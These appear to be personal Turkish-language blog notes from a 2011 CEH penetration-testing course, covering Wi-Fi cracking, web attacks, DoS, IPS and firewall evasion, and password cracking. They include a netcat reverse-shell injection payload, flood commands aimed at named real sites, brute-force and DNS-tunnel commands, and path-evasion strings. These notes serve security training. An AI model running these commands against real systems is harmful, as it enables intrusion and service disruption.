  • WPA. İlk pakette geçen PSK (PreShared Key), TKIP mekanizması tarafından kullanılarak sonraki trafik için yeni anahtarlar üretilir. PSK aynı zamanda SSID ile tuzlanıyor.
    • Handshake ilk 4 pakette oluyor.
  • (Parantez) #genpmk => Rainbow list oluşturma aracı.
  • www.wpacracker.com => Bir sürü makineyi paralel çalıştırarak bruteforce wpa şifresini 10'lu dakikalarda kırabileceğini iddia eden site. ESSID'yi istiyor, tuz olarak kullanacak. Sonra rainbow table'lar ve bruteforce...
  • Gerix wifi cracker. Backtrack içinde mevcut.
  • Sahte AP oluşturma. Gerix içinden mümkün. En kolayı mitmap. Backtrack içinde => /pentest/wireless/mitmap/mitmap.sh
  • bash mitmap.sh -m ap -i wlan0 -o eth0 -s profectAkademi -d /etc/dhcp3/dhcpd.conf => sanal bir AP oluşturup (ssid'si ap), bağlananların trafiğini üzerimden geçirip makinem üzerinden (eth0) internete çıkaracağım.
  • (Parantez) #iwconfig
  • WPA2
    • 802.11i
    • Authentication için yine PSK kullanıyor.
    • Şifrelemede TKIP yerine daha güçlüolan AES-CCMP kullanılıyor.
    • İstemcinin donanımsal olarak desteklemesi gerekiyor.
  • Adım adım WPA PSK Kırma => Sunumlarda var. Oradan alıp buraya eklemek faydalı olur.
  • Cihazımı injection'ı destekliyor mu testi:
    • Önce monitor moda alıyoruz (#airmon-ng start wlan0).
    • #aireplay-ng -9 mon0 sorgusu sonucunda "Injection is working" yanıtı alıyorsak destekliyor demektir.
  • "top 1000 ssid rainbow table" diye google'da arat. Bilinmeyen bir SSID için rainbow table oluşturamaz.
  • WPA PSK kırma: ATI ve NVIDIA grafik kartlarının CPU'su kullanılarak kırma işlemi (denemeler) binlerce kat arttırılabilir.
  • DoS => Beacon Flood. mdk3 aracı kullanarak yapılır. Ortamda bir sürü sahte AP görünür.
  • DoS => zulu.

CEH by BGA - Gün 5 - Ders 1

Kablosuz Ağlar ve Güvenlik

  • Backtrack misali bir sanal makinede ana makinenin kablosuz ağ adaptörü, ethernet kart gibi görünür. Bir USB dongle'ı takıp VMWare (ya da VirtualBox) üzerinden takılan aygıtın wireless adapter olduğunu belirtmek gerekiyor.
  • 802.11 ağlarda tüm iletişim frame'ler aracılığıyla gerçekleştirilir. Çeşitleri
    • Management frame: bağlantı başlatma ve yönetim.
      • Authentication
      • Deauthentication
      • Beacon frame. Access point tarafından yapılan broadcast duyurulardır. İstemcilerin aktif AP'leri bulmasını sağlar.
      • ...
    • Control frame
    • Data frame
  • Probe request. Ağa bağlanmak isteyen istemcilerin gönderdiği paket türü. Broadcast. AP bu requeste yanıt (probe replay) döner.
  • IEEE 802.11 standardı.
  • SSID. BSSID (AP MAC adresi); ESSID (AP Adı)
  • WEP. Kabloyla eşdeğer güvenlik (Wired Equivalent Privacy). Hızlıca çıkarıldığı için yeterince güvenliolması sağlanmamış. 64 bit, 24 biti trafikte açık olarak gidiyor.
  • WPA. WiFi Protected Access. WEP'in açıklarını kapatmak amacıyla çıkmış. WEP'ten en önemli farkı statik yerine dinamik anahtar kullanılıyor.
  • WPA = WEP + TKIP (Temporal Key Integrity Protocol)
  • Ad-hoc = IBSS (Independed Basic Service Set). AP'ye gerek duymadan wireless cihazların birbiri arasında haberleşmesi.
  • Infrastructure mode = BSS
  • Kablosuz ağ arabirim modları:
    • Master mode. Kanal no + SSID ismi ile AP görevi yapabilir.
      • #iwconfig wlan0 mode master (adhoc, monitor...) => master mode destekleniyorsa olur.
      • Airbase-ng. İstediğimiz özelliklerde access point oluşturmak için kullanılan bir tool. Linux'te command-line.
    • Managed mode. Client.
    • Ad-hoc mode
    • Monitor mode. 
      • Pasif bir mode. 
      • Ethernetteki promiscous mode'a benzer.
      • Trafiği izler.
      • Bağlanmadan monitor mode'a alırsanız kendinizibütün trafiği görürsünüz. 
      • Trafik şifreli ise (WEP/WPA) sadece MAC adreslerini görürüz.
      • WiFi noktalarında açık şekilde trafik izlenebilir.
      • Wireless tarafında biri trafiği dinliyorsa ruhumuz duymaz.
      • Bütün atraksiyonlar bu modda yapılır, hackerlar için kıymetli mod bu yani.
      • Linux tarafında wireless adaptörler için driver'lar yazarak monitor mode destekler hale getiriliyor. Windows tarafında 7'ye kadar yokmuş zaten, yeni destekler olmuş.
      • #airmon-ng mon0 start
  • #iwlist wlan0 scan => ortamdaki wireless cihazların listesi.
  • Keşif
    • Aktif keşif. Sadece kendini ifşa edenleri tespit edebiliriz.
    • Pasif keşif. Monitor modda.
  • Kismet. İncele!!
  • Aktif keşif aracı olarak Cain&Abel da kullanılabilir. Ama bu keşif bize pasif modda çalışan AP'leri vermez. Kismet veriyordu. Cain&Abel uyumlu bir wireless adapter (190$ civarı) ile birlikte WPA/WEP 

5 Mayıs 2011 Perşembe

CEH by BGA - Gün 4 - Ders 4

Web Uygulamaları Güvenliği (Devamı)

  • Uygulama, password resetlemede eski password'ünüzü gönderiyorsa password'ü açık metin tutuyor demektir (%99). Hash'li olsa eski password'ü dönemez.
  • Parolaları hashlerken mutlaka salt (tuz) değerleri kullanılmalı. Ya da tekrar tekrar hashlenebilir.
  • Default parolaları denetimlerde mutlaka dene.
  • IPS'ler statik koruma sağladığından ve genellikle SSL trafiğe bakmadığından web uygulama saldırılarını önleme zayıftır.
  • Firewall/IPS/WAF karşılaştırması => F5
  • WAF örnekleri: Imperva, Modsecurity (open source, linux'te ilaçtır, Apache için), Breach Security, F5, Citrix Netscaler...
    • Yapılandırılırsa iyi, yapılandırılmazsa kötüdür.
    • Yorum: Citrix'in Türkiye temsilcileri, F5'ın temsilcilerinden teknik olarak daha bilgili (güvenlik tarafı için)
    • Çalışma mantığı
      • Positive Sec. Model
      • Negative Sec. Model
      • Learn-based
    • Yerleşim senaryoları
      • inline bridge (IPS modu)
      • offline (passive) => WAF'ı tanıyana kadar bu modda çalıştırmak mantıklı.
      • integrated (%3) => sadece bütünleştiği sunucuyu korur.
      • reverse proxy (%95)
  • WebGoat çözüm videoları internette var. Ara.
  • Acunetix'in eğitim amaçlı uygulaması var.
  • Nikto.
  • Nessus üzerinden Nikto'yu plug-in olarak ekleyip kullanabiliyorsunuz.
  • Uygulama: WafW00F. İncele!!
  • (Parantez) novirusthanks.org => virustotal'e alternatif, underground camia tarafından kullanılan.
  • (Parantez) 100% FUD (Fully UnDetectable)

CEH by BGA - Gün 4 - Ders 2-3

Web Uygulama Güvenliği (Devamı)

  • shodanhq.com/exploits => şimdiye kadar çıkmış açıklıkların aratılabileceği, google'a alternatif, exploitlere özel arama motoru.
  • LoginFinder. Windows tarafında çalışan bir uygulama. Uygulamalardaki sadece login ekranlarını bulmaya yarıyor.
  • Paros artık geliştirilmeyen bir ürün.
  • Owasp ZAP => Paros'un yeni versiyonu gibi değerlendirilebilir.
  • Flash decompile edilebilir, içinde user/pwd barındırıyor olabilir. Flash testlerinde aklında olsun!
  • x-forward-for. İncele!!! Bu özelliğin aktif olduğu proxylerde talep başka IP'den gelmiş gibi yorumlar bırakabilir saldırgan sunucuya. IP spoofing normal şartlarda yapılamaz ama bu durumda IP spoofing yapılıyor gibi istekler gönderilebilir işte!
  • Gelen talebin mobil cihazdan mı, PC'den web üzerinden mi geldiğinianlamanın yolu User-Agent header'ıdır. Bu da client tarafından doldurulan bir alan olduğundan rahatlıkla değişitirlebilir.
    • Bu konuya örnek Garanti'nin mobil cihazlar üzerinden yapılan EFT'lerden ücret almaması. User-Agent ile oynayıp talep mobil cihazdan gidiyormuş gibi göstererek EFT'ye ücret ödemez.
  • Genel Düstur: Kullanıcıdan gelen bilgiye kesinlikle güvenilmez.
  • Flash scanner: swfscan!!!
  • XSS ile ilgili kitap: XSS Exploits.
  • testfire.net => DVWA gibi bir site.
  • TinKode security blog => Hackliyor ve sonuçlarını sitesinde yayınlıyor. 
  • SQLi araçları: Pangolin, Havij. İncele!!!
  • Command Injection Exploitation: ";nc -e /bin/bash 192.168.200.12 443" => shell açma.
    • -e ile sonrasından gelen file'ı çalıştır diyoruz.
  • File Inclusion
    • Local (LFI)
    • Remote (RFI)
    • ha.ckers.org/weird/rfi-locations.dat => RFI zafiyeti içeren URL kalıpları
    • Upload yapmaya izin veren sitelere dikkat (forumlarda avatar upload'u mesela)
  • Web Shell. Hacklenen sunucuları daha kolay yönetmek için yazılmış web uygulamaları.
    • R57 en popülerlerinden biriydi. İfşa olduğundan artık kullanılmıyor.
  • c99.php dosyası DVWA'nın RFI testinde shell açmak için upload edilebilecek dosya. Dosyanın neler yaptığına DİKKAT! Test ettiğimiz makineyi kamuya mal etmeyelim...

CEH by BGA - Gün 4 - Ders 1

Web Uygulama Güvenliği

  • Diğer protokol ve konulardan daha zor. En önemli konulardan biri.
  • Bilgi güvenliği üzerindeki saldırıların %75'i web uygulama katmanında çıkıyor (Gartner - 2008)
  • Güvenlik içinharcanan paraların %10'u web, %90'ı network tarafı için oluyor (Gartner - 2008)
  • Uygulamaların 2/3'ü zafiyet barındırıyor (Gartner - 2008)
  • Google hacking...
  • Defacement = web sayfasının giriş sayfasının değiştirilmesi (Türk hacker jargonunda "index atma" olarak geçiyor). Genelde DNS'i kendi üzerlerine yönlendirerek yapıyorlar.
  • Defacement arşivi: Zone-H. Yaklaşık 2000'den beri hacklenen sitelerin arşivini tutuyor.
  • Defacement'ı otomatize eden uygulamalar / araçlar mevcut.
  • Rooting. Web sistemlerdeki bir açıklıktan kaynaklanarak Linux sistemde root olma. Patch eksiği ana neden.
    • Reverse shell ile command line açıyor.
    • uname -a ile kernel'ı öğreniyor.
    • O versiyon kernel'ın açıklarını internetten aratıp root olmanın yollarını deniyor.
  • Web uyg. güv. nelere bağlı?
    • Sunucu güvenlği
    • Kimlik bilgileri
    • Mail adresi
    • Firewall/IPS/IDS/WAF
    • Yazılım Güvenliği
    • DNS güvenliği
    • Registrar firmanın güvenliği
    • Hosting firmanın güvenliği
    • Parola güvenliği
  • HTTP - L7 katmanında. TCP üzerinde çalışır.
  • (Parantez) WebDAV, hem Apache, hem IIS tarafında. Kurulduğunda PUT ve DELETE metotlarına izin verir hale geliyor.
  • Loglama genelde URL seviyesinde yapılır (Default Apache'de de IIS'de de böyle). GET talebi olursa loglarda user/pwd bilgileri görülecek, PUT talebi olursa loglarda user/pwd görünmeyecek demektir bu.
  • (Parantez) 5651 sayılı kanun, GET ve POST'un detayını (gövde ve parametreler) istiyor.
  • Web sunucu keşfi:
    • netcraft.com, 
    • nmap -sV -p 80 <ip>
  • Plecost. Wordpress fingerprinting tool. Wordpress uygulaması keşfi amacıyla kullanılan araç. Python.

4 Mayıs 2011 Çarşamba

CEH by BGA - Gün 3 - Ders 4

TCP/IP Protokolü Zafiyet Analizi
  • Protokol ilk çıktığında güvenlik değil güvenilirlik (bir noktadan bir noktaya verinin mutlaka gittiğini bilmek) düşünülmüş (1983).
  • Alt seviye protokollerinin güvenilirliği üst seviyeleri etkiler.
  • ARP (L2)
    • IPv6'te ARP yerine NDP (Negihbor Discovery Protocol) geliyor.
    • 1.2.3.4 IP kimdir diye broadcast yapılıyor; karşısında MAC adresi cevap olarak dönüyor.
    • ARP'de gelen yanıtı doğrulama gibi birşey yok, gelen doğru kabul ediliyor.
    • ARP request: "Who has 1.2.3.4? Tell 5.6.7.8"
    • Yeni nesil wormlar MitM ile bu protokolü sıkça kullanır.
  • L2 saldırı türleri
    • ARP Spoofing & ARP Poisoning
      • arpspoof => LAN'de sürekli (Gateway benim, benim, benim...) diyoruz. Gateway dinamik ise bu çalışır, statik tanımlanmışsa çalışmaz. Ağdaki diğer makineler artık bana yönlenmiş olur; ben de bana gelen paketleri gerçek gateway'e gönderirim. Forward'ü disable etmezsem tabi.
      • En basit engelleme yolu switchlerde engellemektir.
    • MAC Flooding. Switch'i hub mantığına dönüştürür başarılı olursa. Hub gibi tüm trafiği ağdaki tüm makinelere yayar.
    • hamster (linux) => backtrack'te /pentest/sniffers/hamster. İncele!!!
    • Üzerimize çektiğimiz trafiğe gelen https taleplerini http trafiğine dönüştürebiliriz => sslstrip (linux)!!!
      • http üzerinden trafiğe başlayıp https'e yönlenilen site ziyareti senaryosunda geçerli.
      • Senaryo:
        • http://www.isank.com.tr'ye giriyorum.
        • Oradan şube linkine tıklıyorum, https://sube.isbank.com.tr'ye yönleniyor.
        • Bu arada ARP spoof eden saldırgan, benim trafiğimi isbank'a https olarak gönderiyor, ondan gelen yanıtı bana http gönderiyor (browser'ımda dikkat edersem trafiğin https olmadığını görürüm). 
      • Saldırgan olarak trafik SSL'e dönmeden araya giriyoruz.
    • Firefox'ta "bu sitelere giderken sadece SSL kullan" diyebildiğimiz bir plug-in var. İncele!
  • (Parantez) iptables -t nat -A PREROUTING -p tcp -dport 80 -j REDIRECT --to-port 10000 => 80. porta gelen talepleri 10000'e yönlendir.

    CEH by BGA - Gün 3 - Ders 3

    • (Parantez) isup.me => bir sitenin ayakta olup olmadığını sorgulayabildiğimiz bir site.
    • Yapılan denemede 80 portuna yapılan DoS saldırısı başarılı olmadı, ancak 25 portuna saldırarak site erişilmez hale getirildi.
      • hping3 -p 25 -S --flood --rand-source mail.xyz.com.tr
      • Konfigürasyonda yapılan bir eksiklik muhtemelen. Bir cihazın session tablosunu doldurduk muhtemelen.
    • (Parantez) #dig NS sahibinden.com => DNS sunucuları sorgulaması.
    • (Parantez) #dig @ns2.sahibinden.com www.sahibinden.com => ns2 DNS sunucusunu kullanarak sorgulama.
    • UDP Flood saldırıları
      • hping --udp --flood --rand-source -S -p 53 ns1.sahibinden.com => BOŞ udp paketleri gönderiliyor.
      • UDP, connectionless bir protokol. Paketi gönderdim, yanıtı umrumda değil.
      • UDP paketi gönderildiğinde karşı tarafta bir state oluşturma durumu yok. Firewall yalancı bir state tutar.
      • Daha fazla paket gönderilebileceği için tercih edilebilir. Paket boyu TCP için ortalama 60 byte, UDP için 40 byte.
      • Eğer firewall kapalı portlar için paketi drop etmek yerine REJECT ediyorsa her talebe bir yanıt dönmesi demek; DoS açısından kötü. Firewall'u drop edecek şekilde ayarlamak daha sağlıklı olur.
    • HTTP GET Flood, 
      • Gerçek IP üzerinden yapılamk zorunda demiştik (handshake tamamlanması gerekiyor). Tek IP'den değil dağıtık şekilde botnet'lerden yapılır bu saldırı.
      • Saldırgan, POST talebi üzerinden ve dinamik oluşacak sayfalara talebi gönderir. Dinamik oluşacak (arama sonucu sayfası gibi) sayfalara saldırma nedeni, caching cihazı tarafından sayfalar cache'lenir ve yanıtları oradan dönmeye başlar (sunucuya ulaşmadan), dinamik sayfalarda ise her seferinde yeni bir sayfa oluşacağından sunucuya ulaşarak sayfayı talep edecek.
      • ab -n 100000 -c 2000 http://sahibinden.com/search.php => saniyede 2000, toplamda 100000 istek gönder.
      • ab => Apache HTTP server benchmarking tool
      • (Parantez) Rate limiting. Savunma sistemi, gelen IP'nin gerçek olup olmadığını tespit edemeden engelleme yapıyorsa (3lü el sıkışmayı tamamlamadığı IP'ler için de engelleme yapıyorsa) sıkıntı var demektir; bambaşka IP adreslerini engelletebiliriz cihaza. => Hatırlatma: hping3'te -a ile farklı bir IP üzerinden paket gönderebiliyorduk. Linux iptables'ta bu sıkıntı var.
    • UDP paketlerinin gerçek IP'den gelip gelmediği kontrolü: 
      • Connectionless olduğundan el sıkışma tamamlama gibi birşey yok.
      • Bilgi: Gerçek IP'ler, gönderdikleri UDP taleplerine yanıt alamadıklarında (misal 3 sn içinde) aynı talebi tekrar eder (misal 3 kere), sonra timeout'a düşer.
      • Gerçek IP mi kontrolü: Gelen ilk UDP paketi drop edilir, aynı IP'den aynı özelliklerle tekrar aynı UDP talep gelirse gerçek IP olduğuna karar verir.
    • BIND Dinamik Update DoS
    • DNS tarafı DoS saldırıları çeşitleri:
      • DNS sunucu yazılımıüzerindeki açıklıklar (BIND gibi)
      • DNS flood (BruteForce) => bu işi yapan bir sürü script var: maraveDNS.pl gibi.
      • Ampf. DNS DoS

    CEH by BGA - Gün 3 - Ders 2

    • DNSCat yazılımı. Karşı tarafa sadece OS yönetmek için bir tünel kuruyor. 
      • dnscat --domain tunnel.xyz.com.tr --exec cmd.exe => Dönen yanıtları cmd.exe'ye yönlendir.
    • UDP portunun açık olup olmadığı:
      • nslookup ile isteklerimi şu DNS sunucuya gönder diyoruz. Taleplerimiz o sunucuya erişiyorsa portun açık olduğunu söyleyebiliyoruz.
    • UDP porttan gönderilen isteğin yanıtı 512 byte'tan büyükse TCP'ye çevrilir. Cevap dönmemiş olur. (Aradaki cihazlardan herhangi bir tanesi bile EDNS desteklemiyorsa).
    DoS - DDoS
    • Güvenlik = C-I-A (Confidentially - Integrity - Availability)
    • Genel Kavramlar:
      • DoS
      • DDoS
      • Zombi: Emir kulu. Çeşitli zafiyetlerle sızılmış ve arka kapı yerleştirilmiş sistem. Yamalar güncel yükleniyorsa, antivirüs varsa, çok zararlı sitelerde gezilmiyorsa kolay değil bir makinenin zombi olması.
      • BotNet: roBOT NETworks.
      • IP Spoofing
    • DoS
      • Sistemi ele geçirme değil, ulaşılamaz hale getirmedir (hizmeti durdurma) amaç.
      • Network kelimesinin geçtiği her yerde DoS vardır. Yerel ağda, kablosuzda...
    • (Parantez) Port knocking! Araştır!! Arka arkaya x adet SYN y adet FIN paketi alırsan portu aç!!!
    • Master & CC (Command Center) => Zombilerin yönetim merkezleri.
    • DoS kaynakları
      • Tasarımsal problemler (TCP Syn flood gibi)
      • Yazılımsal problemler
    • DoS Sonuçları
      • Finansal kayıplar.
      • Prestij / Güven kaybı.
    • Fast Flux Hosting: Bir alan adına binlerce farklı IP adresi atanması durumu. 
      • Anlık değişen IP'ler. 
      • Malware yayma amaçlı sunucuların dağıtık bir yapıda olmasını sağlıyor.
      • DNS'lerin time out sürelerini o IP için mesela 1 dakikaya indiriyorlar, 1 dk sonra tekrar talep yapıldığında istemciye farklı bir IP yanıtı dönüyor.
    • Kablosuz ağlarda ne kullanılırsa kullanılsın hepsinde MAC adresi açık gittiği için DoS yapılabilir.
      • Re-authentication / De-authentication.
    • Eski DoS yönetmleri
      • Smurf (ICMP Smurf). OS'lar, gelen ICMP (Echo Request) broadcast isteklerini drop ediyorlar artık.
      • Ping of Death
    • Günümüzde kullanılan yöntemler:
      • SYN flood.
        • TCP mantığı değişmedikçe devam edecek.
        • Etkisi büyük, çözümü de kolay.
        • "backlog q"
        • SYN-ACK, bizim gönderdiğimiz sahte IP adreslerine döner. 
        • Firewall oturum tablosu çökertilmeye çalışılır.
        • Önlem: Syn-cookie / Syn-proxy vb.
        • TCB (TCP Control Block) => Her SYN için 300 byte kaynak ayrılıyor. 
        • Syn-cookie'de 3lü el sıkışma tamamlanmadığı sürece kaynak ayrılmıyor.
      • HTTP Flood
        • En temel farkı: Sahte IP adreslerinden istek gönderemezsiniz; 3lü el sıkışmayı tamamlanması gerekiyor. Sahte IP adresi ile SYN göndererek pratikte 3lü el sıkışmayı tamamlayamazsınız.
        • HTTP KeepAlive. HTTP 1.1 ile geldi. Bir TCP bağlantısı üzerinden 50-100 HTTP isteği gönderilebilmesi. Hem sunucu hem istemci tarafından destekleniyor olması gerekir.

    CEH by BGA - Gün 3 - Ders 1

    Firewall ve İçerik Filtreleme Atlatma

    • "Tek port/protokol ile sınırsız internet"
    • Günümüziçerik filtreleme araçları, içten dışa akan trafikte araya girerek SSL trafiğini kendi üzerinde sonlandırıyor, kendi aldığı SSL sertifikasını kullanıcıya dönüyor ve kendisi ilgili siteye erişiyor. Yani SSL'de araya girerek trafiği cleartext olarak görüyor, inceliyor, gerek duyarsa filtreliyor.
    • Şu şu şu sitelere yapılan SSL bağlantılarına güveniyorum, onlara bakma denebiliyor bu tür cihazlarda. Misal "garanti.com.tr'ye giden SSL trafiğinde araya girme".
    • Dünya SSL üzerinde akmayı artırdıkça bu kaçınılmaz hale geliyor.
    • Gizli kanallarda mutlaka dışarıda ek bir sunucuya ihtiyaç vardır.
    • TCP üzerinden tünelleme yöntemleri (Dışarı doğru herhangi bir TCP portu açıksa):
      • OpenVPN kullanarak doğrudan VPN kurma
      • SSH tünelleme
      • Dışarıdaki bir kullanıcıyıiç ağa sokma. Yerel ağdaki tüm sistemler aynı değerde/ağırlıkta.
    • (Parantez) Syn-Proxy: Her porta gelen taleplere SYN-ACK dönüyor.
    • UDP Tünelleme
    • HTTP Tünelleme
    • (Parantez) SSH paketleri hep "SSH-" ile başlar.
    • Webtunnel.  İncele!!
      • 2 adet Perl scriptinden oluşuyor.
      • Bilinen IPS cihazları tarafından tanınmıyor. Gerekli saldırı imzası için kural yazılması gerekir. wts.pl, user-agent vs kontrolleri yapılabilir basitinden.
      • Tünel içine tünel sokuluyor. Abartıp birkaç tünel de oluşturulabilir (SSL içi HTTP, onun içine SSH, onun içinden HTTP trafiği)
    • Kurumsal ortamlarda içerik filtreleme cihazları genellikle 443 portunu kontrol etmezler.
    • DNS Tünelleme
    • Kapalı network diyorsan, gerçekten / fiziksel olarak kapalı olması gerekir. Switch'e uplink yapayım da gitsin DNS sunucuya baksın vs dediğimiz anda artık kapalı değil ağ. "Bir port/protokol..."
    • iodined => IP Over DNS'in daemon tarafı.

    3 Mayıs 2011 Salı

    CEH by BGA - Gün 2 - Ders 5

    IDS/IPS

    • 1. nesil: Firewall; 2. nesil: IPS/IDS; 3. nesil: WAF
    • Örnek kural satırı: DROP tcp any 80 URICONTENT cmd.exe
    • IPS Keşif çalışması
      • Genelde Rule/Signiture bazlı sistemlerdir.
      • L2 sistem olduğundan TTL gibi yöntemlerle tespit edilemez.
      • Onu devreye alacak / kızdıracak birşeyler göndermek lazım. /etc/passwd ya da cmd.exe ya da ../../../ gibi. IPS bunlara kızmıyorsa çöpe at zaten :)
      • DROP ya da TCP Reset ya da UDP için ICMP port unreachable dönüyorsa IPS olduğunu söyleyebiliriz.
    • IPS atlatma yöntemleri
      • Google'dan IPS evasion diye arat...
      • IPS Blacklist ile paket içeriği yakalamaya çalıştığı için, çöp karakterler, etc/a/s/d/../../../passwd, etc///////pwd vb birçok yolla IPS atlatılabilir. Denemek lazım. Aynı şekilde URL encoding (hatta double, triple vs) denenebilir saldırı cümlesi...
      • SSL üzerinden paket gönderme. Bu yöntemi yemeyen sistem görmemiş henüz hoca. IPS kesemiyor paketin içeriğini bilemediği için. Cipher (Private Key) yok elinde çünkü. ncat --ssl ve nssl uygulamalarını bu amaçla kullanabiliriz (paket göndermek ve sonucunu görmek adına)
      • Bazı IPS firmaları, SSL decryption ile içeriğine bakabiliyor. Private key'lerin IPS üzerine yüklenmesi lazım (eğer IPS destekliyorsa tabi)

    CEH by BGA - Gün 2 - Ders 4

    Güvenlik Sistemlerini Atlatma Yöntemleri
    • Alınan önlemlerin bir işe yaramadığını gösterecek konu.
    • Bilgi güvenliği alanı çok dinamik; statik çözümlerle önlem alınamayacağı gösterilecek.
    • IPS vb sistemlerin ne kadar "güvenilmez / güvenilmemesi gereken" sistemler olduğunu göreceğiz.
    • Güvenlik personllerinden temel bilgi sahibi olmadan ileri seviye işler bekleniyor. Mesela TCP/IP bilmeden Firewall/IPS yönetmesi isteniyor.
    • Günümüz sınırgüvenliği sistemleri
      • Router
        • Network cihazı olsa da güvenlik amaçlı kullanılabiliyor.
        • DoS saldırıları salt router'la önlenebilir.
      • Firewall (Güvenlik Duvarı)
      • IPS/IDS
      • WAF
      • DDoS engelleme sistemleri
      • DLP (Veri Sızma Engelleme) => Parayı nereye harcayacağını bilmeyenlerin kurduğu sistem :)
      • ...
    Firewall
    • Ağlar arası erişim kontrolü amacıyla kullanılır.
    • Port ve IP bazlı çalışır (Next generation firewall'lardan bahsetmiyoruz)
    • İçeriği denetleyemez (Next gen. fw'lardan bahsetmiyoruz)
    • 2 çeşit engelleme yapar:
      • DROP (Paketi drop et, cevap dönme)
      • REJECT (Reject yanıtıdön)
    • Firewall olup olmadığını anlama
      • hping -p 80 -S <hedefIP>
      • hping -p 81 -S <hedefIP>
      • hping -p 91 -S <hedefIP>
      • Kapalı portlar için yanıt dönmüyorsa firewall olduğu anlaşılır.
    • Firewall politikasının kapalı portlar için gelen talebi DROP etmek, trafiği meşgul etmemek için tercih edilebilir (DoS'a karşı)
    • TTL değerlerinden firewall keşfi
      • L3 routing işlemi yapan bir cihaz, TTL'i bir  azaltır.
      • Firewall'ın geçireceği bir paket (SYN mesela) ve geçirmeyeceği bir paket (FIN mesela) gönderilir, dönecek yanıtların TTL değerleri incelenir.
    • Bir port açıksa bütün portlar açıktır. Bir protokol açıksa bütün protokoller açıktır.
    • Bazı Firewall atlama yöntemleri:
      • SSH Tunnelling. Firewall, içeriğe bakarsa (next generation firewall'lar) tünelleme olduğunu anlar, ama klasik yaklaşımda port bazlıkontrol yapan firewall'larda bu tünel üzerinden tüm trafiği akıtırız ve firewall bunu anlayamaz.
      • Ultrasurf. Firewall atlatmanın en zirve yöntemlerinden biri.
      • OpenVPN. Herhangi bir port üzerinden UDP veya TCP bağlanabilir.
    • L7 Firewall (Application Firewall)
      • Paket içinde /etc/passwd geçiyorsa engelle diyebiliriz mesela (CTF'lerde kullanılır bu).
      • "/./" bloğu çöp karakter (null karakter). /etc/passwd engellenmişse "/etc/.//passwd" geçiyor olabilir. Bu tür denemeler yapılabilir.
      • Linux'te L7-filter, bu tür firewall'lara örnektir.
      • (Parantez) hackvertor.co.uk

    CEH by BGA - Gün 2 - Ders 3

    • Cisco Type5 parolaları JTR kullanarak kırılabilir.
    • JTR ile yapılan, offline bir atak. Hash değerini eldeediyoruz bir şekilde, sonra kırmaya çalışıyoruz.
    • Online BruteForce Taramaları
      • En sık karşılaşılanı SSH BruteForce
      • Medusa. Network üzerinden bruteforce/dictionary attack düzenlemeye yarayan bir araç.
        • -d => dump. Hangi protokollere karşı parola denemesi yapabildiğini söyler. RDP yok mesela. RDP tarafında NCrack kullanılıyor.
        • medusa'yı farklı bir portta (default 22) çalıştırmak için: -n
        • -f: İlk geçerli usr/pwd bulduğunda dur.
        • Örnek yardım alma: medusa -M smbnt -q
        • Basic Authenticaation testi: medusa -M http -m USER-AGENT:"Firefox-Explorer-99.1" -m DIR:/test -m AUTH:BASIC -h <IP> -u <USR> -P <PwdFile>
    • DEPANT: DEfault Password Network Tool.
    • JTR'nin Windows versiyonu da (GUI) var.
    • Cain & Abel: MS OS'lerin parolalarını kırma ve network güvenliği test aracı.
      • Rainbox table desteği.
      • Bruteforce yapabiliyor. Deneyeceğin karakterleri belirtebiliyorsun.
    • ÖZET:
      • Offline pwd hash cracking tarafında 
        • Cain & Abel
        • John The Ripper
        • Hashcat (hem GUI hem commandLine var)
      • Online pwd hash cracking tarafında 
        • Medusa
        • Hydra
        • Ncrack
      • Sniff
        • dsniff
        • Cain & Abel
    • SSLStrip => Kullanıcıyı SSL üzerinden gidiyormuş gibi kandırıp http üzerinden trafiğini akıtarak user/pwd'lerini alabiliyoruz.

      CEH by BGA - Gün 2 - Ders 2

      • SET: Social Engineer Toolkit
      • BackTrack => /pentest/exploits/SET
      • "Metasploit el kitabı" diye google'da aratırsan, 60 sayfalık bir Türkçe çeviri (by BGA diye anladım)
      • Fasttrack => Arka planda Metasploit kullanan bir GUI. Web arayüzünden erişiliyor kurulduktan sonra.
      • BackTrack'te kurulumu var. Kurup kullanılabilir.
      Parola Güvenliği ve Şifre Kırma Saldırıları
      • bash-history => girilen tüm komutların bir  tarihçesi tutuluyor burada.
      • mysql-history => burada da mySql içinde girilen tüm komutlar tutuluyor. Mesela "mysql -u root -p admin" şeklinde bir komut çalıştırıldığında şifre piyasada demektir.
      • 2 tip
        • Offline ataklar => hash doyasını alıp evimizde kırmaya çalışıyoruz.
          • Önce parolanın şifrelenmiş halde bulunduğu şeyler elde edilir
          • Sonra çeşitli programlarla offline denemeler yapılır
            • Sözlük saldırıları 
              • skullsecurity.org/wiki/index.php/Passwords
              • AWLG: Associative Word List Generator
            • Brute-force
              • %99 çözüm getirir, ama süre sıkıntısı vardır. 1 makineyle saniyede 5milyar denemeyle case-sensitive 10 basamaklı bir şifreyi 540 yılda kesin kırarsın!
              • Rainbow yöntemini kullanmak daha mantıklı
            • Hybrid
            • Rainbow table
              • Karşı önlemi: tuzlama (salt). WPA'da tuz değeri olarak SSID ismi veriliyor. Güvenlik camiasının bu golünü underground camiası henüz çıkaramadı.
        • Online ataklar
          • Pasif online
            • dsniff (etercap de var)
            • Caine&Abel
            • Network trafiği dinleyerek (authentication bilgileri gelince login bilgilerini kaydet)
            • MITM yönetmiyle parola toplama
          • Aktif online
            • Brute force denemeler
            • Kötü parola politikaları işi kolaylaştırır
      • Parola = password.
      • Şifre = parolayla kriptolanmış veri.
      • Çoklu kimlik doğrulama ile bu saldırılar engellenmeye çalışılıyor. (2/3-factor authentication)
      • Encoding: Amaç gizleme değil, farklı formatlar arası mapping.
      • Passphrase: ben senin b3n1 s3v3b1lm3 1ht1malini
      • Default parolaların denenmesi, mutlaka denenmesi gerekir.
      • Linux parola güvenliği
        • /etc/passwd'de username'ler, /etc/shadow ya da /etc/master.passwd.. içinde parolalar (hash'li)
        • md5 kullanılıyordu, artık SHA256/512 kullanılmaya başlandı.
        • Tuzlama, 2000'in başlarından beri linux'te yapılıyor. Parolanın hash'i alınıyor, tuzlanıyor, tekrar alınıyor.
        • Linux pwd'lerini en hızlı kıran 2 yazılımdan biri: JTR (John The Ripper)
        • BackTrack'te /pentest/passwords/jtr

      CEH by BGA - Gün 2 - Ders 1

      Exploitation

      • Test metodolojisindeki 5.adım.
      • Bir açıklık olması, exploit edilebilmesi anlamına gelmez her zaman.
      • CVSS değeri 
        • 9-10 arasında ise 1 gün içerisinde,
        • 7-9 arasında ise 15 gün içerisinde,
        • 5-7 arasında ise 1 ay içerisinde kapatılmalı.
      • Nessus, dışarıdan (internet üzerinden) yapılan taramalarda çok etkili olmaz. Genelde en çok medium açıklıklar bulur.
